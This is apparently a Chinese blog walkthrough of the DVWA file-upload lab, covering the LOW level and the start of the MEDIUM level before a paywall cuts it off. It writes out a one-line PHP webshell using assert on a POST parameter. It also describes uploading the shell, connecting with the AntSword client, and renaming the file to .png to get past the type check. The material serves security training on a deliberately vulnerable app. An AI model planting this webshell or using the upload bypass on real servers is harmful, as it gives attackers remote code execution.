目录
LOW
通关路径
1、新建个sh.php文件,内容如下:
<?php assert($_POST['dvwa']);?>
2、尝试直接上传,上传成功,给出了文件保存路径。
看来这关一点防御都没有,任意文件可上传。


3、用蚁剑连接之前可以先在浏览器中试一下文件在不在,能不能被当作php解析。
那一般如果404就是文件不存在,如果php代码以字符串显示了就是不能解析用户上传的php。这两种情况下也就不用搬出蚁剑了。


4、用蚁剑连接一句话木马


源码分析
果然是没有防御的,没有对上传的文件进行任何过滤。
三个主要操作:
(1)全局数组$_FILES用来获取通过 POST 方法上传文件的相关信息。详见PHP 文件上传
(2)basename函数返回路径中的文件名部分
(3)move_uploaded_file函数将上传的文件保存到新位置

MEDIUM
通关路径
1、直接上传上一关中的sh.php,会提示上传失败,只能上传JPEG和PNG格式的文件

2、将上一步中的文件后缀名改成.png,上传sh.png文件并用

最低0.47元/天 解锁文章
2947

被折叠的 条评论
为什么被折叠?



